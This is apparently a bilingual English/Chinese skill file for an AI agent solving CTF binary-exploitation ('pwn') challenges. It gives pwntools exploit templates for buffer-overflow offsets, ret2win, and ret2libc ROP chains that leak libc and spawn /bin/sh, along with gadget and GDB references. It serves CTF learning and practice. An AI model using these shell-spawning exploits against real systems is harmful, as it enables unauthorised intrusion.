pwn-exploits

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Binary Exploitation Patterns

二进制利用模式

When to Use

适用场景

Load this skill when:
  • Solving binary exploitation (pwn) CTF challenges
  • Working with buffer overflows and stack-based vulnerabilities
  • Building ROP (Return-Oriented Programming) chains
  • Writing shellcode or exploits
  • Using pwntools for exploitation
  • Analyzing binaries with GDB, checksec, or strings
在以下场景中加载本技能:
  • 解决CTF中的二进制利用(Pwn)类题目
  • 处理缓冲区溢出及基于栈的漏洞
  • 构建ROP(返回导向编程)链
  • 编写Shellcode或漏洞利用代码
  • 使用pwntools进行漏洞利用
  • 使用GDB、checksec或strings分析二进制文件

Binary Analysis Workflow

二进制分析工作流

Step 1: Static Analysis First

步骤1:先进行静态分析

Always begin with static analysis before dynamic exploitation.
bash
undefined
在进行动态利用前,务必先开展静态分析。
bash
undefined

Search for interesting strings

搜索有趣的字符串

strings ./vuln | grep -iE "flag|password|key|secret|admin"
strings ./vuln | grep -iE "flag|password|key|secret|admin"

Check binary protections

检查二进制文件保护机制

checksec ./vuln
checksec ./vuln

Examine file type and architecture

查看文件类型与架构

file ./vuln

**Why?** Static analysis reveals:
- Hidden functionality and backdoor functions
- Hardcoded credentials or flags
- Security mitigations (PIE, NX, Stack Canary, RELRO)
- Architecture (32-bit vs 64-bit, calling conventions)
file ./vuln

**原因?** 静态分析可揭示:
- 隐藏功能与后门函数
- 硬编码凭证或flag
- 安全缓解措施(PIE、NX、栈金丝雀、RELRO)
- 架构(32位/64位、调用约定)

Step 2: Decompile with Ghidra/IDA

步骤2:使用Ghidra/IDA反编译

bash
undefined
bash
undefined

Batch decompile with Ghidra headless mode (RECOMMENDED)

使用Ghidra无头模式批量反编译(推荐)

./ghidra_headless/decompile_headless.sh ./vuln output.c
./ghidra_headless/decompile_headless.sh ./vuln output.c

Or use Python wrapper (legacy)

或使用Python封装脚本(旧版)

python tools/decompile.py ./vuln
python tools/decompile.py ./vuln

Or manually open in Ghidra GUI

或手动在Ghidra GUI中打开

ghidra

**Key things to look for:**
- Dangerous functions: `gets()`, `strcpy()`, `scanf()`, `read()` with no bounds
- Win functions: `system("/bin/sh")`, `execve()`, `print_flag()`
- Buffer sizes vs input sizes
- Comparison operations (password checks, admin checks)
ghidra

**重点关注内容:**
- 危险函数:`gets()`、`strcpy()`、`scanf()`、无边界检查的`read()`
- 可获取权限的函数:`system("/bin/sh")`、`execve()`、`print_flag()`
- 缓冲区大小与输入大小的对比
- 比较操作(密码校验、管理员权限校验)

Protection Analysis Table

保护机制分析表

ProtectionStatusExploitation Strategy
PIEEnabledNeed address leak for code/data addresses
PIEDisabledCan use hardcoded addresses directly
NXEnabledCannot execute shellcode on stack, use ROP
NXDisabledCan write shellcode to buffer and execute
Stack CanaryEnabledNeed canary leak or bypass technique
Stack CanaryDisabledDirect buffer overflow exploitation
RELRO FullEnabledCannot overwrite GOT entries
RELRO PartialEnabledCan overwrite GOT for hijacking
保护机制状态利用策略
PIE启用需要泄露代码/数据地址
PIE禁用可直接使用硬编码地址
NX启用无法在栈上执行Shellcode,需使用ROP
NX禁用可将Shellcode写入缓冲区并执行
栈金丝雀启用需要泄露金丝雀或使用绕过技术
栈金丝雀禁用直接进行缓冲区溢出利用
RELRO完全启用启用无法覆盖GOT表项
RELRO部分启用启用可覆盖GOT表以劫持控制流

Exploitation Patterns

利用模式

Pattern 1: Find Buffer Overflow Offset

模式1:查找缓冲区溢出偏移量

python
from pwn import *
python
from pwn import *

Generate cyclic pattern

生成循环模式

io = process('./vuln') payload = cyclic(500) io.sendline(payload) io.wait()
io = process('./vuln') payload = cyclic(500) io.sendline(payload) io.wait()

After crash, examine core dump or GDB

崩溃后,检查核心转储文件或GDB

Find the offset where control is hijacked

找到控制流被劫持的偏移量

core = Coredump('./core') offset = cyclic_find(core.read(core.rsp, 4)) # x86_64
core = Coredump('./core') offset = cyclic_find(core.read(core.rsp, 4)) # x86_64架构

or

offset = cyclic_find(core.read(core.eip, 4)) # x86
log.info(f"Offset: {offset}")

**Alternative: Manual offset finding**

```python
offset = cyclic_find(core.read(core.eip, 4)) # x86架构
log.info(f"偏移量: {offset}")

**替代方案:手动查找偏移量**

```python

Use offset_finder.py from tools/

使用工具目录下的offset_finder.py

python tools/offset_finder.py ./vuln

python tools/offset_finder.py ./vuln

undefined
undefined

Pattern 2: Basic ret2win (Call Win Function)

模式2:基础ret2win(调用权限函数)

python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"

Find win function address

查找权限函数地址

win_addr = elf.symbols['win'] # or elf.symbols['print_flag']
win_addr = elf.symbols['win'] # 或elf.symbols['print_flag']

Build payload

构造 payload

payload = flat({ offset: [ win_addr ] })
io = process(exe) io.sendline(payload) io.interactive()
undefined
payload = flat({ offset: [ win_addr ] })
io = process(exe) io.sendline(payload) io.interactive()
undefined

Pattern 3: ret2libc (Leak + System)

模式3:ret2libc(泄露地址+调用system)

Stage 1: Leak libc address
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6")  # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
阶段1:泄露libc地址
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6")  # 或ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)

Build ROP chain to leak puts@GOT

构造ROP链以泄露puts@GOT地址

payload = flat({ offset: [ rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['puts'], elf.plt['puts'], elf.symbols['main'] # Return to main for second exploit ] })
io = process(exe) io.sendline(payload) io.recvuntil(b"expected_output") leak = u64(io.recvline().strip().ljust(8, b'\x00')) log.info(f"Leaked puts@GOT: {hex(leak)}")
payload = flat({ offset: [ rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['puts'], elf.plt['puts'], elf.symbols['main'] # 返回main函数以进行二次利用 ] })
io = process(exe) io.sendline(payload) io.recvuntil(b"expected_output") leak = u64(io.recvline().strip().ljust(8, b'\x00')) log.info(f"泄露的puts@GOT地址: {hex(leak)}")

Calculate libc base

计算libc基地址

libc.address = leak - libc.symbols['puts'] log.success(f"Libc base: {hex(libc.address)}")

**Stage 2: Call system("/bin/sh")**

```python
libc.address = leak - libc.symbols['puts'] log.success(f"Libc基地址: {hex(libc.address)}")

**阶段2:调用system("/bin/sh")**

```python

Find /bin/sh string in libc

在libc中查找/bin/sh字符串

bin_sh = next(libc.search(b'/bin/sh\x00'))
bin_sh = next(libc.search(b'/bin/sh\x00'))

Build final ROP chain

构造最终ROP链

payload2 = flat({ offset: [ rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps) rop.find_gadget(['pop rdi', 'ret'])[0], bin_sh, libc.symbols['system'] ] })
io.sendline(payload2) io.interactive()
undefined
payload2 = flat({ offset: [ rop.find_gadget(['ret'])[0], # 栈对齐(movaps指令要求) rop.find_gadget(['pop rdi', 'ret'])[0], bin_sh, libc.symbols['system'] ] })
io.sendline(payload2) io.interactive()
undefined

Pattern 4: Auto-Switch Start Function

模式4:自动切换启动函数

Use this template for all pwn scripts:
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    """Start the exploit in different modes"""
    if args.GDB:
        gdbscript = """
        b *main
        continue
        """
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
所有Pwn脚本均可使用以下模板:
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    """以不同模式启动漏洞利用"""
    if args.GDB:
        gdbscript = """
        b *main
        continue
        """
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

Usage:

使用方式:

python solve.py # Local process

python solve.py # 本地进程运行

python solve.py GDB # Debug with GDB

python solve.py GDB # 用GDB调试

python solve.py REMOTE IP PORT # Remote connection

python solve.py REMOTE IP PORT # 连接远程服务器

undefined
undefined

Pattern 5: ROP Chain Construction

模式5:ROP链构造

python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)
python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

Method 1: Automatic ROP chain

方法1:自动生成ROP链

rop.call('puts', [elf.got['puts']]) rop.call('main')
rop.call('puts', [elf.got['puts']]) rop.call('main')

Method 2: Manual gadget selection

方法2:手动选择gadget

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] ret = rop.find_gadget(['ret'])[0]
payload = flat({ offset: [ ret, # Stack alignment pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] ] })
undefined
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] ret = rop.find_gadget(['ret'])[0]
payload = flat({ offset: [ ret, # 栈对齐 pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] ] })
undefined

Quick Reference

快速参考

Pwntools Essential Commands

Pwntools核心命令

TaskCommand
Generate cyclic pattern
cyclic(500)
Find offset from crash
cyclic_find(b'caaa')
or
cyclic_find(0x61616161)
Pack 64-bit integer
p64(0x401000)
Pack 32-bit integer
p32(0x08048000)
Unpack 64-bit bytes
u64(data.ljust(8, b'\x00'))
Unpack 32-bit bytes
u32(data.ljust(4, b'\x00'))
Launch with GDB
gdb.debug([exe], gdbscript=script)
Connect remote
remote(host, port)
Local process
process([exe])
Build structured payload
flat({offset: [gadget1, gadget2]})
Find ROP gadgets
rop.find_gadget(['pop rdi', 'ret'])
Search bytes in binary
next(elf.search(b'/bin/sh'))
任务命令
生成循环模式
cyclic(500)
从崩溃信息中查找偏移量
cyclic_find(b'caaa')
cyclic_find(0x61616161)
打包64位整数
p64(0x401000)
打包32位整数
p32(0x08048000)
解包64位字节数据
u64(data.ljust(8, b'\x00'))
解包32位字节数据
u32(data.ljust(4, b'\x00'))
用GDB启动程序
gdb.debug([exe], gdbscript=script)
连接远程服务器
remote(host, port)
启动本地进程
process([exe])
构造结构化payload
flat({offset: [gadget1, gadget2]})
查找ROP gadget
rop.find_gadget(['pop rdi', 'ret'])
在二进制文件中搜索字节
next(elf.search(b'/bin/sh'))

Common ROP Gadgets (x86_64)

常见ROP Gadget(x86_64架构)

python
undefined
python
undefined

System call setup

系统调用准备

pop_rdi = 0x400123 # pop rdi; ret (1st argument) pop_rsi = 0x400456 # pop rsi; ret (2nd argument) pop_rdx = 0x400789 # pop rdx; ret (3rd argument) pop_rax = 0x400abc # pop rax; ret (syscall number)
pop_rdi = 0x400123 # pop rdi; ret(第一个参数) pop_rsi = 0x400456 # pop rsi; ret(第二个参数) pop_rdx = 0x400789 # pop rdx; ret(第三个参数) pop_rax = 0x400abc # pop rax; ret(系统调用号)

Stack alignment (REQUIRED for recent libc)

栈对齐(新版libc要求)

ret = 0x400001 # ret
ret = 0x400001 # ret

Useful symbols

实用符号

bin_sh = next(elf.search(b'/bin/sh\x00')) system = elf.symbols['system'] # or libc.symbols['system']
undefined
bin_sh = next(elf.search(b'/bin/sh\x00')) system = elf.symbols['system'] # 或libc.symbols['system']
undefined

GDB Essential Commands

GDB核心命令

bash
undefined
bash
undefined

Pwndbg commands

Pwndbg命令

checksec # Check binary protections vmmap # Memory mapping telescope $rsp 20 # Stack view cyclic 200 # Generate pattern cyclic -l 0x61616161 # Find offset rop # Search ROP gadgets rop --grep "pop rdi" # Filter gadgets got # GOT entries plt # PLT entries
checksec # 检查二进制文件保护机制 vmmap # 内存映射查看 telescope $rsp 20 # 栈内容查看 cyclic 200 # 生成循环模式 cyclic -l 0x61616161 # 查找偏移量 rop # 搜索ROP gadget rop --grep "pop rdi" # 筛选gadget got # 查看GOT表项 plt # 查看PLT表项

Standard GDB

标准GDB命令

b *main # Breakpoint at address b *0x401234 x/20gx $rsp # Examine stack (64-bit) x/20wx $esp # Examine stack (32-bit) x/20i $rip # Disassemble info registers # Register values set $rax = 0 # Modify register
undefined
b *main # 在main函数处设置断点 b *0x401234 x/20gx $rsp # 查看栈内容(64位) x/20wx $esp # 查看栈内容(32位) x/20i $rip # 反汇编代码 info registers # 查看寄存器值 set $rax = 0 # 修改寄存器值
undefined

CTF-Specific Tips

CTF专属技巧

Extract Flags Automatically

自动提取Flag

python
import re

def extract_flag(data):
    """Extract common CTF flag formats"""
    patterns = [
        r'flag\{[^}]+\}',
        r'FLAG\{[^}]+\}',
        r'CTF\{[^}]+\}',
        r'picoCTF\{[^}]+\}',
        r'HTB\{[^}]+\}',
        r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
    ]
    
    text = data if isinstance(data, str) else data.decode('latin-1')
    for pattern in patterns:
        match = re.search(pattern, text)
        if match:
            return match.group(0)
    return None
python
import re

def extract_flag(data):
    """提取常见CTF Flag格式"""
    patterns = [
        r'flag\{[^}]+\}',
        r'FLAG\{[^}]+\}',
        r'CTF\{[^}]+\}',
        r'picoCTF\{[^}]+\}',
        r'HTB\{[^}]+\}',
        r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
    ]
    
    text = data if isinstance(data, str) else data.decode('latin-1')
    for pattern in patterns:
        match = re.search(pattern, text)
        if match:
            return match.group(0)
    return None

Usage

使用示例

io.recvuntil(b"output") data = io.recvall() flag = extract_flag(data) if flag: log.success(f"Flag: {flag}")
undefined
io.recvuntil(b"output") data = io.recvall() flag = extract_flag(data) if flag: log.success(f"Flag: {flag}")
undefined

One-Gadget Usage

One-Gadget使用

bash
undefined
bash
undefined

Find one-gadgets in libc (requires one_gadget gem)

在libc中查找one-gadget(需要安装one_gadget gem)

one_gadget libc.so.6
one_gadget libc.so.6

Use in exploit

在漏洞利用中使用

one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output payload = flat({offset: one_gadget})
undefined
one_gadget = libc.address + 0x4f3d5 # 偏移量来自one_gadget输出 payload = flat({offset: one_gadget})
undefined

Anti-Patterns (Avoid These)

反模式(需避免)

❌ Don't: Skip Static Analysis

❌ 错误做法:跳过静态分析

python
undefined
python
undefined

BAD: Jumping straight to buffer overflow without understanding the binary

错误:未了解二进制文件就直接尝试缓冲区溢出

offset = 72 # Guessed payload = b'A' * offset + p64(0xdeadbeef)

**Why it's bad:** You might miss:
- Easier solutions (hardcoded flags, win functions)
- Critical constraints (length checks, character filters)
- Security mitigations that require different approaches
offset = 72 # 猜测的偏移量 payload = b'A' * offset + p64(0xdeadbeef)

**错误原因:** 你可能会错过:
- 更简单的解决方案(硬编码flag、权限函数)
- 关键限制(长度检查、字符过滤)
- 需要不同利用方法的安全缓解措施

❌ Don't: Hardcode Addresses with PIE/ASLR

❌ 错误做法:在PIE/ASLR启用时硬编码地址

python
undefined
python
undefined

BAD: Hardcoded libc addresses

错误:硬编码libc地址

system_addr = 0x7ffff7a52290 # This won't work with ASLR
system_addr = 0x7ffff7a52290 # ASLR启用时此地址无效

GOOD: Calculate from leak

正确:通过泄露的地址计算

libc.address = leak - libc.symbols['puts'] system_addr = libc.symbols['system']
undefined
libc.address = leak - libc.symbols['puts'] system_addr = libc.symbols['system']
undefined

❌ Don't: Forget Stack Alignment

❌ 错误做法:忽略栈对齐

python
undefined
python
undefined

BAD: Direct call to system() may crash

错误:直接调用system()可能导致崩溃

payload = flat({offset: [pop_rdi, bin_sh, system]})
payload = flat({offset: [pop_rdi, bin_sh, system]})

GOOD: Add 'ret' gadget for alignment (movaps requirement)

正确:添加'ret' gadget以对齐栈(满足movaps指令要求)

payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
undefined
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
undefined

❌ Don't: Ignore Error Messages

❌ 错误做法:忽略错误信息

python
undefined
python
undefined

BAD: Blindly sending payload without checking responses

错误:盲目发送payload而不检查响应

io.sendline(payload) io.interactive()
io.sendline(payload) io.interactive()

GOOD: Check for errors and debug

正确:检查错误并调试

io.sendline(payload) response = io.recvuntil(b"expected", timeout=2) if b"error" in response or b"invalid" in response: log.error("Exploit failed, check payload") exit(1) io.interactive()
undefined
io.sendline(payload) response = io.recvuntil(b"expected", timeout=2) if b"error" in response or b"invalid" in response: log.error("漏洞利用失败,请检查payload") exit(1) io.interactive()
undefined

Bundled Resources

配套资源

Templates

模板

All templates use the auto-switch start function for easy testing:
  • templates/pwn_basic.py
    - Basic buffer overflow template
  • templates/pwn_rop.py
    - ROP chain + ret2libc template
  • templates/angr_template.py
    - Symbolic execution with angr
所有模板均使用自动切换启动函数,便于测试:
  • templates/pwn_basic.py
    - 基础缓冲区溢出模板
  • templates/pwn_rop.py
    - ROP链+ret2libc模板
  • templates/angr_template.py
    - 使用angr进行符号执行的模板

Tools

工具

Helper scripts for common tasks:
  • tools/checksec_quick.sh
    - Quick security check wrapper
  • tools/offset_finder.py
    - Automated offset calculation
  • tools/leak_parser.py
    - Parse and format address leaks
  • tools/libc_lookup.py
    - Identify libc version from leaks
  • tools/rop_chain_skeleton.py
    - Generate ROP chain templates
  • tools/patch_ld_preload.sh
    - Patch binary to use specific libc
用于常见任务的辅助脚本:
  • tools/checksec_quick.sh
    - 快速安全检查封装脚本
  • tools/offset_finder.py
    - 自动计算偏移量
  • tools/leak_parser.py
    - 解析并格式化地址泄露数据
  • tools/libc_lookup.py
    - 通过泄露地址识别libc版本
  • tools/rop_chain_skeleton.py
    - 生成ROP链模板
  • tools/patch_ld_preload.sh
    - 修补二进制文件以指定libc版本运行

Ghidra Headless Decompilation

Ghidra无头反编译

  • ghidra_headless/
    - Automated decompilation without GUI
  • ghidra_headless/decompile_headless.sh
    - Wrapper script for batch decompilation
  • ghidra_headless/DecompileCLI.java
    - Ghidra Java script for headless operation
  • ghidra_headless/README.md
    - Detailed usage and troubleshooting guide
  • ghidra_headless/
    - 无需GUI的自动化反编译工具
  • ghidra_headless/decompile_headless.sh
    - 批量反编译封装脚本
  • ghidra_headless/DecompileCLI.java
    - Ghidra无头模式Java脚本
  • ghidra_headless/README.md
    - 详细使用与故障排除指南

Gadget Finders

Gadget查找工具

  • gadgets/find_gadgets_ropgadget.sh
    - ROPgadget wrapper
  • gadgets/find_gadgets_ropper.sh
    - Ropper wrapper
  • gadgets/find_gadgets_rpplus.sh
    - rp++ wrapper
  • gadgets/one_gadget_notes.md
    - One-gadget usage guide
  • gadgets/find_gadgets_ropgadget.sh
    - ROPgadget封装脚本
  • gadgets/find_gadgets_ropper.sh
    - Ropper封装脚本
  • gadgets/find_gadgets_rpplus.sh
    - rp++封装脚本
  • gadgets/one_gadget_notes.md
    - One-gadget使用指南

Quick References

快速参考文档

  • references/quickref_gadgets.md
    - Common ROP gadgets reference
  • references/quickref_gdb.md
    - GDB command cheatsheet
  • references/gdb_cheatsheet.md
    - Detailed GDB guide
  • references/ret2libc_checklist.md
    - Step-by-step ret2libc guide
  • references/usage_guide.md
    - Tool usage instructions
  • references/quickref_gadgets.md
    - 常见ROP gadget参考
  • references/quickref_gdb.md
    - GDB命令速查表
  • references/gdb_cheatsheet.md
    - 详细GDB使用指南
  • references/ret2libc_checklist.md
    - Ret2libc分步指南
  • references/usage_guide.md
    - 工具使用说明

GDB Configuration

GDB配置

  • gdb_init/
    - GDB initialization scripts for pwndbg, GEF, peda
  • gdb_init/
    - 适用于pwndbg、GEF、peda的GDB初始化脚本

Keywords

关键词

pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development
pwn, 二进制利用, 缓冲区溢出, 栈溢出, ROP, ROP链, 返回导向编程, Shellcode, pwntools, CTF, checksec, cyclic, gadget, GOT, PLT, libc泄露, ret2libc, ret2win, 格式化字符串, GDB, pwndbg, 逆向工程, 二进制分析, 漏洞利用开发